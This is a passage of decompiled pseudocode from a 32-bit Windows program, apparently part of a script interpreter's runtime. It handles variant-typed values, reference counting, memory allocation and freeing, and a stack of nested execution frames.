													_t1618 =  *0x4a7ce0; // 0x0
													 *_t1618 = 0;
													_t1459 =  *0x4a7ce0; // 0x0
													 *((intOrPtr*)(_t1459 + 4)) = _v148;
													 *0x4a7ce5 = 0;
												} else {
													_push(0xc);
													_t1312 = E0041171A(_t1410, _t1712, __eflags);
													_t1791 = _t1791 + 4;
													__eflags = _t1312 - _t1750;
													if(_t1312 == _t1750) {
														_t1733 = 0;
													} else {
														_t1733 = _t1312;
														 *_t1733 = _t1750;
														 *(_t1733 + 4) = _v148;
														__eflags = _v148 - _t1750;
														if(_v148 < _t1750) {
															 *(_t1733 + 4) = _t1750;
														}
														_t1313 = _v152;
														__eflags = _t1313 - _t1750;
														if(__eflags != 0) {
															_push(0x20);
															_v204 = _t1313;
															_t1314 = E0041171A(_t1410, _t1733, __eflags);
															_t1791 = _t1791 + 4;
															__eflags = _t1314 - _t1750;
															if(_t1314 == _t1750) {
																_t1315 = 0;
																__eflags = 0;
															} else {
																_t1315 = E0044B3F6(_t1314);
															}
															 *_t1733 = _t1315;
															E0040DF50(_t1315, _v204);
															_t1771 = _v208;
															 *((intOrPtr*)( *_t1733 + 0x10)) =  *((intOrPtr*)(_t1771 + 0x10));
															 *((intOrPtr*)( *_t1733 + 0x14)) =  *((intOrPtr*)(_t1771 + 0x14));
															 *((intOrPtr*)( *_t1733 + 0x18)) = 0;
															 *((intOrPtr*)( *_t1733 + 0x1c)) = 0;
															E004530B3( *_t1733 + 0x18,  *((intOrPtr*)(_t1771 + 0x18)));
															E004530B3( *_t1733 + 0x1c,  *((intOrPtr*)(_t1771 + 0x1c)));
															_t1750 = 0;
														} else {
															 *_t1733 = _t1750;
														}
													}
													_t1557 =  *0x4a7ce0; // 0x0
													 *(_t1733 + 8) = _t1557;
													 *0x4a7ce0 = _t1733;
												}
												_t989 = _v152;
												_t1619 = 1;
												 *0x4a7cdc =  *0x4a7cdc + 1;
												__eflags = _t989 - _t1750;
												if(_t989 != _t1750) {
													_t1714 = _t989;
													_t990 =  *((intOrPtr*)(_t989 + 0x18));
													__eflags = _t990 - _t1750;
													if(_t990 != _t1750) {
														E0040B800(_t1410,  &_v152, 1, _t1784, _t990);
														_t1619 = 1;
													}
													_t991 =  *((intOrPtr*)(_t1714 + 0x1c));
													__eflags = _t991 - _t1750;
													if(_t991 != _t1750) {
														E0040B800(_t1410,  &_v152, _t1619, _t1784, _t991);
														_t1619 = 1;
													}
													__eflags =  *((char*)(_t1714 + 0x10));
													if( *((char*)(_t1714 + 0x10)) == 0) {
														_t1554 =  *((intOrPtr*)(_t1714 + 0x14));
														__eflags =  *((intOrPtr*)(_t1714 + 0x14)) - _t1750;
														if( *((intOrPtr*)(_t1714 + 0x14)) != _t1750) {
															E0040E2E0(_t1410, _t1554, _t1784, _t1619);
														}
													}
													E004436F6(_t1410, _t1714, _t1784, _t1714);
													_t1619 = 1;
												}
												__eflags = _v112 - _t1619;
												if(_v112 < _t1619) {
													L146:
													_t1751 = _a4;
													 *(_t1751 + 0x148) = _t1410;
													_v92 = 0;
													_v80 = 0;
													_v76 = 0;
													_v72 = 0;
													_v68 = 0;
													_v60 = 0;
													_v48 = 0;
													_v44 = 0;
													_t994 =  *((intOrPtr*)( *_t1751 + 4));
													__eflags =  *((char*)(_t994 + _t1751 + 0xd));
													_t305 = _t1751 + 4; // 0x4
													_t1715 = _t994 + _t305;
													_v84 = 1;
													_v52 = 1;
													if(__eflags != 0) {
														E004721E5( &_v92,  *(_t1715 + 4),  &_v92);
														 *((char*)(_t1715 + 9)) = 0;
													} else {
														_push(0x40);
														_t1192 = E0041171A(_t1410, _t1715, __eflags);
														_t1791 = _t1791 + 4;
														__eflags = _t1192;
														if(_t1192 == 0) {
															_t1192 = 0;
														} else {
															 *(_t1192 + 8) = 1;
															 *((intOrPtr*)(_t1192 + 0xc)) = 0;
															 *_t1192 = 0;
															 *((char*)(_t1192 + 0x10)) = 0;
															 *((intOrPtr*)(_t1192 + 0x14)) = 0;
															 *((char*)(_t1192 + 0x18)) = 0;
															 *(_t1192 + 0x28) = 1;
															 *((intOrPtr*)(_t1192 + 0x2c)) = 0;
															 *((intOrPtr*)(_t1192 + 0x20)) = 0;
															 *((char*)(_t1192 + 0x30)) = 0;
														}
														 *(_t1192 + 0x38) =  *(_t1715 + 4);
														 *(_t1715 + 4) = _t1192;
													}
													 *_t1715 =  *_t1715 + 1;
													_t1412 =  *((intOrPtr*)(_t1751 + 0x16c));
													_t323 = _t1751 + 0x16c; // 0x1ad
													_t1716 = _t323;
													_v152 =  *((intOrPtr*)(_t1751 + 0xf4));
													L00409560(_t1751,  *((intOrPtr*)(_t1751 + 0xf4)), _t1833, _v104 + 1);
													__eflags = _t1412 -  *_t1716;
													if(_t1412 <  *_t1716) {
														do {
															E0040C8A0(_t1716);
															__eflags = _t1412 -  *_t1716;
														} while (_t1412 <  *_t1716);
														goto L151;
													} else {
														L151:
														_t1717 = _t1751;
														 *((intOrPtr*)(_t1717 + 0xf4)) = _v152;
														_t1000 =  *((intOrPtr*)( *_t1717 + 4));
														__eflags =  *((char*)(_t1000 + _t1717 + 0xd));
														_t1001 = _t1000 + _t1717 + 4;
														if( *((char*)(_t1000 + _t1717 + 0xd)) != 0) {
															_t1002 =  *((intOrPtr*)( *((intOrPtr*)(_t1001 + 4)) + 0x38));
														} else {
															_t1002 =  *((intOrPtr*)(_t1001 + 4));
														}
														__eflags =  *((char*)(_t1002 + 0x10));
														if( *((char*)(_t1002 + 0x10)) == 0) {
															_t1752 = _a12;
															 *_a16 = 0;
															E004092C0(_t1717, _t1752);
															_t1752[2] = 1;
															 *_t1752 = 0;
															goto L167;
														} else {
															_t1635 = _a16;
															 *_a16 = 1;
															_t1495 =  *((intOrPtr*)( *_t1717 + 4));
															__eflags =  *((char*)(_t1495 + _t1717 + 0xd));
															_t1172 = _t1495 + _t1717 + 4;
															if( *((char*)(_t1495 + _t1717 + 0xd)) != 0) {
																_t1635 =  *(_t1172 + 4);
																_t1758 = ( *(_t1172 + 4))[0xe];
															} else {
																_t1758 =  *(_t1172 + 4);
															}
															_t1421 = _a12;
															__eflags = _t1421 - _t1758;
															if(_t1421 == _t1758) {
																L167:
																_t1465 =  *_t1717;
																_t1624 =  *((intOrPtr*)( *_t1717 + 4));
																__eflags =  *((char*)(_t1624 + _t1717 + 0xd));
																_t1005 =  *((intOrPtr*)(_t1624 + _t1717 + 8));
																_t1753 = _t1624 + _t1717 + 4;
																if( *((char*)(_t1624 + _t1717 + 0xd)) != 0) {
																	_t1005 =  *((intOrPtr*)(_t1005 + 0x38));
																}
																__eflags =  *((char*)(_t1005 + 0x18));
																if( *((char*)(_t1005 + 0x18)) != 0) {
																	_t1007 = E00404110(_t1753);
																	_t1465 =  *((intOrPtr*)(_t1007 + 0x14));
																	_v72 =  *((intOrPtr*)(_t1007 + 0x14));
																}
																__eflags =  *((char*)(_t1753 + 9));
																if( *((char*)(_t1753 + 9)) != 0) {
																	_t1624 =  *((intOrPtr*)(_t1753 + 4));
																	_t1008 =  *((intOrPtr*)( *((intOrPtr*)(_t1753 + 4)) + 0x38));
																} else {
																	_t1008 =  *((intOrPtr*)(_t1753 + 4));
																}
																__eflags =  *((char*)(_t1008 + 0x30));
																if( *((char*)(_t1008 + 0x30)) != 0) {
																	E00409210( &_v60, _t1465, _t1784, E00404110(_t1753) + 0x20);
																}
																_t1414 = _a4;
																_t1466 =  *((intOrPtr*)( *_t1414 + 4));
																__eflags =  *((char*)(_t1466 + _t1414 + 0xd));
																_t1718 = _t1466 + _t1414 + 4;
																if( *((char*)(_t1466 + _t1414 + 0xd)) != 0) {
																	_t1014 =  *(_t1718 + 4);
																	_t1753 =  *(_t1014 + 0x38);
																	__eflags = _t1014;
																	if(__eflags != 0) {
																		E0044CC6C(_t1414, _t1624, _t1718, _t1784, __eflags, _t1014);
																	}
																	 *(_t1718 + 4) = _t1753;
																	 *((char*)(_t1718 + 9)) = 0;
																}
																__eflags =  *((char*)(_t1718 + 8));
																if( *((char*)(_t1718 + 8)) != 0) {
																	 *((char*)(_t1718 + 9)) = 1;
																	goto L191;
																} else {
																	_t1753 =  *(_t1718 + 4);
																	_t1633 =  *(_t1753 + 0x38);
																	_v152 =  *(_t1753 + 0x38);
																	__eflags = _t1753;
																	if(_t1753 == 0) {
																		L190:
																		 *(_t1718 + 4) = _v152;
																		 *((char*)(_t1718 + 9)) = 0;
																		L191:
																		 *_t1718 =  *_t1718 - 1;
																		_t1016 =  *((intOrPtr*)( *_t1414 + 4));
																		_t1467 =  *((intOrPtr*)(_t1016 + _t1414 + 8));
																		_t1017 = _t1016 + _t1414;
																		__eflags =  *((char*)(_t1017 + 0xd));
																		if( *((char*)(_t1017 + 0xd)) != 0) {
																			_t1467 =  *((intOrPtr*)(_t1467 + 0x38));
																		}
																		_t1625 = _v72;
																		 *(_t1467 + 0x14) = _v72;
																		__eflags =  *((char*)(_t1017 + 0xd));
																		_t1018 =  *((intOrPtr*)(_t1017 + 8));
																		if( *((char*)(_t1017 + 0xd)) != 0) {
																			_t1018 =  *((intOrPtr*)(_t1018 + 0x38));
																		}
																		 *((char*)(_t1018 + 0x18)) = 0;
																		_t1020 =  *((intOrPtr*)( *_t1414 + 4)) + _t1414;
																		__eflags =  *((char*)(_t1020 + 0xd));
																		_v152 = _t1020;
																		if( *((char*)(_t1020 + 0xd)) != 0) {
																			_t1625 =  *(_t1020 + 8);
																			_t1021 =  *( *(_t1020 + 8) + 0x38);
																		} else {
																			_t1021 =  *(_t1020 + 8);
																		}
																		_t403 = _t1021 + 0x20; // 0x21
																		_t1415 = _t403;
																		__eflags = _t1415 -  &_v60;
																		if(_t1415 ==  &_v60) {
																			L205:
																			_t1719 = _v120;
																			goto L206;
																		} else {
																			_t1119 = _t1415[3];
																			__eflags = _t1119;
																			if(_t1119 != 0) {
																				E004436F6(_t1415, _t1718, _t1784, _t1119);
																				_t1415[3] = 0;
																			}
																			_t1121 = _t1415[2];
																			__eflags = _t1121 - 8;
																			if(_t1121 == 8) {
																				_t1486 =  *_t1415;
																				__eflags = _t1486;
																				if(__eflags == 0) {
																					goto L198;
																				}
																				 *0x48242c(_t1486);
																				E004112EF(_t1415, _t1625, _t1718, _t1753, __eflags,  *_t1415);
																				_t1791 = _t1791 + 4;
																				goto L202;
																			} else {
																				L198:
																				__eflags = _t1121 - 0xa;
																				if(_t1121 == 0xa) {
																					_t1122 =  *_t1415;
																					__eflags = _t1122;
																					if(_t1122 != 0) {
																						E0044478F(_t1415, _t1718, _t1784, _t1122);
																					}
																				} else {
																					__eflags = _t1121 - 5;
																					if(_t1121 == 5) {
																						E0040E380(_t1415, _t1415, _t1753);
																					} else {
																						__eflags = _t1121 - 0xb;
																						if(__eflags == 0) {
																							_t1625 =  *_t1415;
																							E004112EF(_t1415,  *_t1415, _t1718, _t1753, __eflags,  *((intOrPtr*)( *_t1415 + 4)));
																							E004112EF(_t1415,  *_t1415, _t1718, _t1753, __eflags,  *_t1415);
																							_t1791 = _t1791 + 8;
																						} else {
																							__eflags = _t1121 - 0xc;
																							if(_t1121 == 0xc) {
																								_t1133 =  *_t1415;
																								__eflags = _t1133;
																								if(_t1133 != 0) {
																									E0044B3B8(_t1415, _t1625, _t1718, _t1784, _t1133);
																								}
																							}
																						}
																					}
																				}
																				L202:
																				_t1123 = _v52;
																				 *_t1415 = 0;
																				_t1415[2] = _t1123;
																				__eflags = _t1123 - 1;
																				if(_t1123 != 1) {
																					_t1124 = _t1123 - 1;
																					__eflags = _t1124 - 0xb;
																					if(__eflags > 0) {
																						goto L205;
																					}
																					switch( *((intOrPtr*)(_t1124 * 4 +  &M0042E65D))) {
																						case 0:
																							goto L203;
																						case 1:
																							_t1625 = _v60;
																							 *_t1415 = _v60;
																							_t1415[1] = _v56;
																							goto L205;
																						case 2:
																							__fp0 = _v60;
																							__eflags = __al & 0x00000000;
																							 *__eax =  *__eax + __al;
																							 *__ebx = __fp0;
																							goto L205;
																						case 3:
																							_push(0x10);
																							__eax = E0041171A(__ebx, __edi, __eflags);
																							__esp = __esp + 4;
																							__eflags = __eax;
																							if(__eax == 0) {
																								__eax = 0;
																								__ebx[3] = 0;
																							} else {
																								__ecx = _v48;
																								__edx =  *__ecx;
																								 *__eax =  *__ecx;
																								__edx =  *(__ecx + 4);
																								 *(__eax + 4) =  *(__ecx + 4);
																								__edx =  *(__ecx + 8);
																								 *(__eax + 8) = __edx;
																								__ecx =  *(__ecx + 0xc);
																								 *(__eax + 0xc) = __ecx;
																								 *__ecx =  *__ecx + 1;
																								__ebx[3] = __eax;
																							}
																							goto L205;
																						case 4:
																							_push(0x214);
																							__eax = E0041171A(__ebx, __edi, __eflags);
																							__esp = __esp + 4;
																							__eflags = __eax;
																							if(__eax == 0) {
																								__eax = 0;
																								__eflags = 0;
																							} else {
																								__esi = _v60;
																								__ecx = 0x85;
																								__edi = __eax;
																								__eax = memcpy(__eax, __esi, 0x85 << 2);
																								__esi + __ecx = __esi + __ecx + __ecx;
																								__ecx = 0;
																							}
																							__edi = _v120;
																							 *__ebx = __eax;
																							__eflags =  *(__eax + 4);
																							if( *(__eax + 4) != 0) {
																								__eax =  *(__eax + 4);
																								 *__eax =  *__eax + 1;
																							}
																							L206:
																							_t1023 = _v152;
																							__eflags =  *((char*)(_t1023 + 0xd));
																							if( *((char*)(_t1023 + 0xd)) != 0) {
																								_t1024 =  *((intOrPtr*)( *((intOrPtr*)(_t1023 + 8)) + 0x38));
																							} else {
																								_t1024 =  *((intOrPtr*)(_t1023 + 8));
																							}
																							 *((char*)(_t1024 + 0x30)) = 0;
																							__eflags =  *0x4a7ce5;
																							if( *0x4a7ce5 != 0) {
																								_t1025 =  *0x4a7ce0; // 0x0
																								_t1753 =  *(_t1025 + 8);
																								E0046E709(_t1719, _t1025);
																								_t1470 =  *(_t1025 + 8);
																								 *0x4a7ce0 = _t1470;
																								 *0x4a7ce5 = 0;
																							} else {
																								_t1470 =  *0x4a7ce0; // 0x0
																							}
																							__eflags =  *0x4a7ce4;
																							if( *0x4a7ce4 != 0) {
																								_t1416 = _v124;
																								 *0x4a7ce5 = 1;
																								goto L230;
																							} else {
																								_t1753 =  *_t1470;
																								_t1632 =  *(_t1470 + 8);
																								_v160 =  *(_t1470 + 8);
																								_v152 = _t1470;
																								__eflags = _t1753;
																								if(__eflags == 0) {
																									L229:
																									_t1416 = _v124;
																									E004112EF(_v124, _t1632, _t1719, _t1753, __eflags, _v152);
																									_t1625 = _v160;
																									_t1791 = _t1791 + 4;
																									 *0x4a7ce0 = _v160;
																									 *0x4a7ce5 = 0;
																									L230:
																									 *0x4a7cdc =  *0x4a7cdc - 1;
																									 *((intOrPtr*)(_a4 + 0x148)) = _v8;
																									_t1028 = _v48;
																									__eflags = _t1028;
																									if(_t1028 != 0) {
																										E004436F6(_t1416, _t1719, _t1784, _t1028);
																										_v52 = 0;
																									}
																									_t1030 = _v52;
																									__eflags = _t1030 - 8;
																									if(_t1030 == 8) {
																										_t1754 = _v60;
																										__eflags = _t1754;
																										if(__eflags != 0) {
																											_push(_t1754);
																											 *0x48242c();
																											E004112EF(_t1416, _t1625, _t1719, _t1754, __eflags, _t1754);
																											_t1791 = _t1791 + 4;
																										}
																									} else {
																										__eflags = _t1030 - 0xa;
																										if(_t1030 == 0xa) {
																											_t1082 = _v60;
																											__eflags = _t1082;
																											if(_t1082 != 0) {
																												E0044478F(_t1416, _t1719, _t1784, _t1082);
																											}
																										} else {
																											__eflags = _t1030 - 5;
																											if(_t1030 == 5) {
																												E0040E380( &_v60, _t1416, _t1753);
																											} else {
																												__eflags = _t1030 - 0xb;
																												if(__eflags == 0) {
																													E004112EF(_t1416,  *((intOrPtr*)(_v60 + 4)), _t1719, _v60, __eflags,  *((intOrPtr*)(_v60 + 4)));
																													E004112EF(_t1416,  *((intOrPtr*)(_v60 + 4)), _t1719, _v60, __eflags, _v60);
																													_t1791 = _t1791 + 8;
																												} else {
																													__eflags = _t1030 - 0xc;
																													if(_t1030 == 0xc) {
																														_t1088 = _v60;
																														__eflags = _t1088;
																														if(_t1088 != 0) {
																															E0044B3B8(_t1416, _t1625, _t1719, _t1784, _t1088);
																														}
																													}
																												}
																											}
																										}
																									}
																									_t1031 = _v80;
																									_t1755 = _v84;
																									_t1472 = 0;
																									_t1626 = 1;
																									_v52 = 1;
																									_v60 = 0;
																									__eflags = _t1031;
																									if(_t1031 != 0) {
																										E004436F6(_t1416, _t1719, _t1784, _t1031);
																										_t1472 = 0;
																										_v84 = 0;
																										_t905 = _t1472 + 1; // 0x1
																										_t1626 = _t905;
																									}
																									__eflags = _t1755 - 8;
																									if(_t1755 == 8) {
																										__eflags = _v92 - _t1472;
																										if(__eflags != 0) {
																											_t1755 = _v92;
																											_push(_v92);
																											 *0x48242c();
																											E004112EF(_t1416, _t1626, _t1719, _v92, __eflags, _v92);
																											_t1791 = _t1791 + 4;
																											_t1472 = 0;
																											_t908 = _t1472 + 1; // 0x1
																											_t1626 = _t908;
																										}
																									} else {
																										__eflags = _t1755 - 0xa;
																										if(_t1755 == 0xa) {
																											__eflags = _v92 - _t1472;
																											if(_v92 != _t1472) {
																												E0044478F(_t1416, _t1719, _t1784, _v92);
																												_t1472 = 0;
																												_t911 = _t1472 + 1; // 0x1
																												_t1626 = _t911;
																											}
																										} else {
																											__eflags = _t1755 - 5;
																											if(_t1755 == 5) {
																												E0040E380( &_v92, _t1416, _t1755);
																												_t1472 = 0;
																												_t913 = _t1472 + 1; // 0x1
																												_t1626 = _t913;
																											} else {
																												__eflags = _t1755 - 0xb;
																												if(__eflags == 0) {
																													_t1755 = _v92;
																													E004112EF(_t1416, _t1626, _t1719, _v92, __eflags,  *((intOrPtr*)(_v92 + 4)));
																													E004112EF(_t1416, _t1626, _t1719, _v92, __eflags, _v92);
																													_t1791 = _t1791 + 8;
																													_t1472 = 0;
																													_t916 = _t1472 + 1; // 0x1
																													_t1626 = _t916;
																												} else {
																													__eflags = _t1755 - 0xc;
																													if(_t1755 == 0xc) {
																														__eflags = _v92 - _t1472;
																														if(_v92 != _t1472) {
																															E0044B3B8(_t1416, _v92, _t1719, _t1784, _v92);
																															_t1472 = 0;
																															_t919 = _t1472 + 1; // 0x1
																															_t1626 = _t919;
																														}
																													}
																												}
																											}
																										}
																									}
																									_t1033 = _v184;
																									__eflags = _t1033 - _t1472;
																									if(_t1033 != _t1472) {
																										E004436F6(_t1416, _t1719, _t1784, _t1033);
																										_t1472 = 0;
																										_v188 = 0;
																										_t921 = _t1472 + 1; // 0x1
																										_t1626 = _t921;
																									}
																									_t1035 = _v188;
																									__eflags = _t1035 - 8;
																									if(_t1035 == 8) {
																										_t1036 = _v196;
																										__eflags = _t1036 - _t1472;
																										if(__eflags != 0) {
																											_push(_t1036);
																											 *0x48242c();
																											E004112EF(_t1416, _t1626, _t1719, _t1755, __eflags, _v200);
																											_t1791 = _t1791 + 4;
																											_t1472 = 0;
																											_t924 = _t1472 + 1; // 0x1
																											_t1626 = _t924;
																										}
																									} else {
																										__eflags = _t1035 - 0xa;
																										if(_t1035 == 0xa) {
																											_t1062 = _v196;
																											__eflags = _t1062 - _t1472;
																											if(_t1062 != _t1472) {
																												E0044478F(_t1416, _t1719, _t1784, _t1062);
																												_t1472 = 0;
																												_t926 = _t1472 + 1; // 0x1
																												_t1626 = _t926;
																											}
																										} else {
																											__eflags = _t1035 - 5;
																											if(_t1035 == 5) {
																												E0040E380( &_v196, _t1416, _t1755);
																												_t1472 = 0;
																												_t928 = _t1472 + 1; // 0x1
																												_t1626 = _t928;
																											} else {
																												__eflags = _t1035 - 0xb;
																												if(__eflags == 0) {
																													E004112EF(_t1416,  *(_v196 + 4), _t1719, _t1755, __eflags,  *(_v196 + 4));
																													E004112EF(_t1416,  *(_v196 + 4), _t1719, _t1755, __eflags, _v196);
																													_t1791 = _t1791 + 8;
																													_t1472 = 0;
																													_t932 = _t1472 + 1; // 0x1
																													_t1626 = _t932;
																												} else {
																													__eflags = _t1035 - 0xc;
																													if(_t1035 == 0xc) {
																														_t1069 = _v196;
																														__eflags = _t1069 - _t1472;
																														if(_t1069 != _t1472) {
																															E0044B3B8(_t1416, _t1626, _t1719, _t1784, _t1069);
																															_t1472 = 0;
																															_t934 = _t1472 + 1; // 0x1
																															_t1626 = _t934;
																														}
																													}
																												}
																											}
																										}
																									}
																									_v188 = _t1626;
																									_v196 = _t1472;
																									__eflags = _t1719 - _t1472;
																									if(__eflags <= 0) {
																										L251:
																										_t1627 = _v124;
																										E004112EF(_t1416, _v124, _t1719, _t1755, __eflags, _v124);
																										_t1793 = _t1791 + 4;
																										__eflags = _v172;
																										if(__eflags <= 0) {
																											L264:
																											E004112EF(_t1416, _v176, _t1719, _t1755, __eflags, _v176);
																											_t954 = 0;
																											__eflags = 0;
																											goto L265;
																										} else {
																											_t1417 = 0;
																											__eflags = 0;
																											do {
																												_t1755 =  *(_v176 + _t1417 * 4);
																												__eflags = _t1755;
																												if(_t1755 == 0) {
																													goto L263;
																												}
																												_t1719 =  *(_t1755 + 0xc);
																												__eflags = _t1719;
																												if(_t1719 != 0) {
																													 *( *(_t1719 + 0xc)) =  *( *(_t1719 + 0xc)) - 1;
																													__eflags =  *( *(_t1719 + 0xc));
																													if(__eflags == 0) {
																														_t1627 =  *_t1719;
																														E004112EF(_t1417,  *_t1719, _t1719, _t1755, __eflags,  *_t1719);
																														E004112EF(_t1417,  *_t1719, _t1719, _t1755, __eflags,  *(_t1719 + 0xc));
																														_t1793 = _t1793 + 8;
																													}
																													E004112EF(_t1417, _t1627, _t1719, _t1755, __eflags, _t1719);
																													_t1793 = _t1793 + 4;
																													 *(_t1755 + 0xc) = 0;
																												}
																												_t1040 =  *(_t1755 + 8);
																												__eflags = _t1040 - 8;
																												if(_t1040 == 8) {
																													_t1473 =  *_t1755;
																													__eflags = _t1473;
																													if(__eflags == 0) {
																														goto L258;
																													}
																													_push(_t1473);
																													 *0x48242c();
																													E004112EF(_t1417, _t1627, _t1719, _t1755, __eflags,  *_t1755);
																													_t1793 = _t1793 + 4;
																													goto L262;
																												} else {
																													L258:
																													__eflags = _t1040 - 0xa;
																													if(_t1040 == 0xa) {
																														_t1041 =  *_t1755;
																														__eflags =  *_t1755;
																														if(__eflags != 0) {
																															E0044478F(_t1417, _t1719, _t1784, _t1041);
																														}
																													} else {
																														__eflags = _t1040 - 5;
																														if(_t1040 == 5) {
																															E0040E380(_t1755, _t1417, _t1755);
																														} else {
																															__eflags = _t1040 - 0xb;
																															if(__eflags == 0) {
																																_t1627 =  *_t1755;
																																E004112EF(_t1417,  *_t1755, _t1719, _t1755, __eflags,  *((intOrPtr*)( *_t1755 + 4)));
																																E004112EF(_t1417,  *_t1755, _t1719, _t1755, __eflags,  *_t1755);
																																_t1793 = _t1793 + 8;
																															} else {
																																__eflags = _t1040 - 0xc;
																																if(__eflags == 0) {
																																	_t1049 =  *_t1755;
																																	__eflags =  *_t1755;
																																	if(__eflags != 0) {
																																		E0044B3B8(_t1417, _t1627, _t1719, _t1784, _t1049);
																																	}
																																}
																															}
																														}
																													}
																													L262:
																													 *(_t1755 + 8) = 1;
																													 *_t1755 = 0;
																													E004112EF(_t1417, _t1627, _t1719, _t1755, __eflags, _t1755);
																													_t1793 = _t1793 + 4;
																												}
																												L263:
																												_t1417 = _t1417 + 1;
																												__eflags = _t1417 - _v172;
																											} while (__eflags < 0);
																											goto L264;
																										}
																									} else {
																										_t1756 = 0;
																										__eflags = 0;
																										do {
																											E004112EF(_t1416, _t1626, _t1719, _t1756, __eflags,  *((intOrPtr*)(_t1416 + _t1756 * 4)));
																											_t1756 = _t1756 + 1;
																											_t1791 = _t1791 + 4;
																											__eflags = _t1756 - _t1719;
																										} while (__eflags < 0);
																										goto L251;
																									}
																								} else {
																									_t1091 =  *(_t1753 + 0x18);
																									_t1418 = _t1470;
																									__eflags = _t1091;
																									if(_t1091 != 0) {
																										E0040B800(_t1418, _t1470, _t1632, _t1784, _t1091);
																									}
																									_t1092 =  *(_t1753 + 0x1c);
																									__eflags = _t1092;
																									if(_t1092 != 0) {
																										E0040B800(_t1418, _t1418, _t1632, _t1784, _t1092);
																									}
																									__eflags =  *((char*)(_t1753 + 0x10));
																									if( *((char*)(_t1753 + 0x10)) != 0) {
																										L226:
																										 *( *(_t1753 + 0xc)) =  *( *(_t1753 + 0xc)) - 1;
																										__eflags =  *( *(_t1753 + 0xc));
																										if(__eflags == 0) {
																											_t1632 =  *_t1753;
																											E004112EF(_t1418,  *_t1753, _t1719, _t1753, __eflags,  *_t1753);
																											E004112EF(_t1418,  *_t1753, _t1719, _t1753, __eflags,  *(_t1753 + 0xc));
																											_t1791 = _t1791 + 8;
																										}
																										E004112EF(_t1418, _t1632, _t1719, _t1753, __eflags, _t1753);
																										_t1719 = _v120;
																										_t1791 = _t1791 + 4;
																										goto L229;
																									} else {
																										_t1418 =  *(_t1753 + 0x14);
																										__eflags = _t1418;
																										if(_t1418 == 0) {
																											goto L226;
																										}
																										_t1719 =  *(_t1418 + 0xc);
																										__eflags = _t1719;
																										if(_t1719 != 0) {
																											 *( *(_t1719 + 0xc)) =  *( *(_t1719 + 0xc)) - 1;
																											__eflags =  *( *(_t1719 + 0xc));
																											if(__eflags == 0) {
																												E004112EF(_t1418, _t1632, _t1719, _t1753, __eflags,  *_t1719);
																												_t1632 =  *(_t1719 + 0xc);
																												E004112EF(_t1418,  *(_t1719 + 0xc), _t1719, _t1753, __eflags,  *(_t1719 + 0xc));
																												_t1791 = _t1791 + 8;
																											}
																											E004112EF(_t1418, _t1632, _t1719, _t1753, __eflags, _t1719);
																											_t1791 = _t1791 + 4;
																											 *(_t1418 + 0xc) = 0;
																										}
																										_t1099 =  *(_t1418 + 8);
																										__eflags = _t1099 - 8;
																										if(_t1099 == 8) {
																											_t1483 =  *_t1418;
																											__eflags = _t1483;
																											if(__eflags == 0) {
																												goto L221;
																											}
																											_push(_t1483);
																											 *0x48242c();
																											E004112EF(_t1418, _t1632, _t1719, _t1753, __eflags,  *_t1418);
																											_t1791 = _t1791 + 4;
																											goto L225;
																										} else {
																											L221:
																											__eflags = _t1099 - 0xa;
																											if(_t1099 == 0xa) {
																												_t1100 =  *_t1418;
																												__eflags =  *_t1418;
																												if(__eflags != 0) {
																													E0044478F(_t1418, _t1719, _t1784, _t1100);
																												}
																											} else {
																												__eflags = _t1099 - 5;
																												if(_t1099 == 5) {
																													E0040E380(_t1418, _t1418, _t1753);
																												} else {
																													__eflags = _t1099 - 0xb;
																													if(__eflags == 0) {
																														_t1632 =  *( *_t1418 + 4);
																														E004112EF(_t1418,  *( *_t1418 + 4), _t1719, _t1753, __eflags,  *( *_t1418 + 4));
																														E004112EF(_t1418,  *( *_t1418 + 4), _t1719, _t1753, __eflags,  *_t1418);
																														_t1791 = _t1791 + 8;
																													} else {
																														__eflags = _t1099 - 0xc;
																														if(__eflags == 0) {
																															_t1108 =  *_t1418;
																															__eflags =  *_t1418;
																															if(__eflags != 0) {
																																E0044B3B8(_t1418, _t1632, _t1719, _t1784, _t1108);
																															}
																														}
																													}
																												}
																											}
																											L225:
																											 *(_t1418 + 8) = 1;
																											 *_t1418 = 0;
																											E004112EF(_t1418, _t1632, _t1719, _t1753, __eflags, _t1418);
																											_t1791 = _t1791 + 4;
																											goto L226;
																										}
																									}
																								}
																							}
																						case 5:
																							__ecx = _v60;
																							 *__ebx = __ecx;
																							goto L205;
																						case 6:
																							__esi = _v60;
																							__eflags = __esi;
																							if(__eflags != 0) {
																								_push(0x10);
																								__eax = E0041171A(__ebx, __edi, __eflags);
																								__esp = __esp + 4;
																								_push(__eax);
																								 *__ebx = __eax;
																								__eax =  *0x482434();
																								__edx =  *__ebx;
																								_push(__esi);
																								_push(__edx);
																								__eax =  *0x482430();
																								__eflags = __eax;
																								if(__eflags < 0) {
																									__eax =  *__ebx;
																									_push( *__ebx);
																									__eax =  *0x48242c();
																									__ecx =  *__ebx;
																									__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags,  *__ebx);
																									 *__ebx = 0;
																								}
																							}
																							goto L205;
																						case 7:
																							 *__ebx = _v60;
																							goto L205;
																						case 8:
																							_push(0x18);
																							__eax = E0041171A(__ebx, __edi, __eflags);
																							__esp = __esp + 4;
																							__eflags = __eax;
																							if(__eax == 0) {
																								goto L574;
																							}
																							__ecx = _v60;
																							__eax = E0044B8A7(__eax, _v60);
																							goto L204;
																						case 9:
																							_push(8);
																							__eax = E0041171A(__ebx, __edi, __eflags);
																							__esi = _v60;
																							 *__ebx = __eax;
																							__edx =  *_v60;
																							 *__eax =  *_v60;
																							__eax =  *__ebx;
																							__eax =  *( *__ebx);
																							__esp = __esp + 4;
																							__eflags = __eax;
																							if(__eflags == 0) {
																								_push(1);
																								__eax = E0041171A(__ebx, __edi, __eflags);
																								__edx =  *__ebx;
																								 *(__edx + 4) = __eax;
																								__eax =  *__ebx;
																								__ecx =  *(__eax + 4);
																								__esp = __esp + 4;
																								 *__ecx = 0;
																							} else {
																								_push(__eax);
																								__eax = E0041171A(__ebx, __edi, __eflags);
																								__ecx =  *__ebx;
																								 *( *__ebx + 4) = __eax;
																								__ebx =  *__ebx;
																								__edx =  *__ebx;
																								__eax =  *(__esi + 4);
																								__ecx = __ebx[1];
																								__esp = __esp + 4;
																								__eax = E00410F70(__ebx, __edi, __esi, __ebx[1],  *(__esi + 4),  *__ebx);
																							}
																							goto L205;
																						case 0xa:
																							_push(0x14);
																							__eax = E0041171A(__ebx, __edi, __eflags);
																							__esp = __esp + 4;
																							__eflags = __eax;
																							if(__eax == 0) {
																								L574:
																								__eax = 0;
																								L204:
																								 *_t1415 = _t1126;
																								goto L205;
																							}
																							__edx = _v60;
